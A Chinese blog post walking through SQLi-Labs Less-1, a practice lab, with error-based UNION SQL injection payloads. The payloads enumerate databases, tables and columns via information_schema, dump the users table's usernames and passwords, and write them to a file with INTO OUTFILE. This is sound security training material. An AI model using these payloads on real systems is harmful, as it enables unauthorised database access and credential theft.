SQLi-Labs 练习总结 Page-1 Less-1

SQLi-LABS 练习总结

Page-1 基础练习

写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很多问题才能有一次成功,不要心急,多尝试,多学习,多总结。

Less-1 GET-Error based-single quotes-String

分析所给提示:

  • 根据报错信息;
  • 单引号;
  • 字符型。

为了学习的目的,尽可能的多做一些尝试:

(1)确定问题参数和漏洞类型

原页面

在URL中输入id参数 ?id=1',返回报错信息: Erreur de syntaxe pr�s de '''' LIMIT 0,1' � la ligne 1

关于回显问题,可用设置语言包将其调成英文模式,具体操作: 直通车

Paste_Image.png

从错误信息中可以看出,这是一个字符型(”1”),且限定只输出1行(LIMT 0,1)。
可用的注入方式:
?id=1 这是一个正常的查询过程。为了学习SQL注入,并不使用它来查询。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL编码,#是MySQL的注释符。在我尝试过程中,直接输入#依旧会报错,%23则能正确输出。还有一种注释方法:
?id=' or 1=1 --+

确定问题参数和漏洞类型:id参数,字符型漏洞

(2)确定字段数

只有确定了字段数,才可以使用union这个关键词连接我们的查询语句。可以采用order by 来确定字段数。
如:?id=1’ order by 1 %23
表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了。在这个系统中,经过测试,输出字段数为3.

Paste_Image.png

Paste_Image.png

查看一下本地的数据库:

Paste_Image.png
确实只有三个字段,分别为id、username、password。

(3)判断能在页面显示的字段。

接下来,使用union语句来判断各字段的类型以及判断能够在页面显示的字段。

?id=-1' union select 1,2,3 %23

注意:这里的id= -1,使它不返回其他信息,执行后面的语句。
Paste_Image.png
从中看出能在页面上显示的是第2,3字段。

(4)确定数据库
确定当前使用的数据库

现在我们已经知道了输出的字段数了,可以使用union这个关键词了。首先试试确定数据库的名字,设计如下payload:

?id=-1’ union select 1,database(),3 %23 

回显如图:

Paste_Image.png

从而知道了当前使用的数据库的名字是 security。

爆出所有数据库

还有一种方法,可以爆出所有的数据库名,payload:

?id=-1' union select 1,group_concat(SCHEMA_NAME),3 
from information_schema.SCHEMATA%23

Paste_Image.png

红线部分即为MySQL中的所有数据库。

说明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23在实际中有时候也可以,表示选择information_schema数据库中,SCHEMATA这个表的SCHEMA_NAME字段的值。关于information_schema这个数据库,有兴趣可以再查资料。
在这里不行的原因是它返回的是一个数组,分为一个一个的字符串,在这里只能显示第一个字符串,即information_schema。

Paste_Image.png

GROUP_CONCAT(expr) 该函数返回带有来自一个组的连接的非NULL值的字符串结果。在这里,这个函数将原先返回的字符串数组拼接成一个完整的字符串输出。

(5)数据表

Payload:

?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23

Paste_Image.png

这个就不分析了,就是从TABLES表中将TABLE_SCHEMA字段中名为security的数据全部返回。 可以通过phpmyadmin等工具查看本地数据库中内容。

(6)字段名

Payload:

?id=-1' union select 1,group_concat(COLUMN_NAME),3 
from information_schema.COLUMNS 
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23

注意:如果你要精确的查出某表的字段名,你就需要加两个限定条件,TABLE_NAME = ‘users’指定查找名为users表中的字段,由于可能存在多个数据库,查出来的数据可能比该表的真实字段多;所以再加上一个限定条件,TABLE_SCHEMA = ‘Security’ 指定数据库为Security。
字段名为:id,username,password。
Paste_Image.png

(7)确定字段类型
?id=-1' union select 1,group_concat(DATA_TYPE),3 
from information_schema.COLUMNS where TABLE_NAME = 'users' 
and TABLE_SCHEMA = 'security'%23

从中看出对应的字段类型:id为int型,username为varchar型,password为varchar型。
Paste_Image.png

(8)查询字段内容
?id=-1' union select 1,username,password from users where id=3%23

这里限制了输出,可以通过指定id的方式逐条查询。

Paste_Image.png

通过指定id查询记录数,得知id最大到14,其中id=13项缺失,所以也可以仿造前面的方法,直接查看全部数据。注意这只能用在小数据量的表中。

?id=-1' union select 1,group_concat(username),group_concat(password) from users %23

Paste_Image.png

(9)拖库
?id=-1' union select 1,username,password from users 
into outfile 'e:/user.txt'%23

将查询记录输出到e:/user.txt文件中。

Paste_Image.png

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值